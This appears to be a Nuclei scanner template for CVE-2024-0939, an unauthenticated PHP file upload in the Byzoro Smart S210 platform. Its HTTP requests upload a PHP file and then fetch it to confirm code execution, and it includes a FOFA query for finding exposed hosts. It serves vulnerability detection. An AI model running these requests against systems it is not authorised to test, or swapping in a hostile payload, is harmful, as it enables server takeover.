id: CVE-2024-0939

info:
  name: Smart S210 Management Platform - Arbitary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files through the uploadfile.php component and execute malicious code on the server, potentially compromising the entire Smart S210 management platform and connected IoT devices.
  remediation: |
    Update Byzoro Smart S210 firmware to a version newer than 20240117 that validates file types, restricts executable uploads, and implements proper access controls on the upload functionality.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0939
    - https://vuldb.com/?ctiid.252184
    - https://vuldb.com/?id.252184
    - https://vuldb.com/?submit.269268
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0939
    cwe-id: CWE-434
    epss-score: 0.43777
    epss-percentile: 0.98617
    cpe: cpe:2.3:o:byzoro:smart_s210_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: byzoro
    product: smart_s210_firmware
    fofa-query: body="Smart管理平台"
  tags: cve,cve2024,smart,file-upload,intrusive,rce,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        POST /Tool/uploadfile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywnsogfin
        Accept-Encoding: gzip, deflate, br

        ------WebKitFormBoundarywnsogfin
        Content-Disposition: form-data; name="file_upload"; filename="contents.php"
        Content-Type: application/octet-stream

        <?php print({{num1}}*{{num2}}); ?>
        ------WebKitFormBoundarywnsogfin
        Content-Disposition: form-data; name="txt_path"

        /home/{{filename}}.php
        ------WebKitFormBoundarywnsogfin--

      - |
        GET /home/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{result}}'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205f0d2cd6690a18aff8e6dedb368354f99460953f03e7fffd32746d7cb2d565bc022100a4e47af1f2dd40074ccc315c1e8c2dd4787ee7eaf0cdaacb5ff06bcb53af8f3f:922c64590222798bb761d5b6d8e72950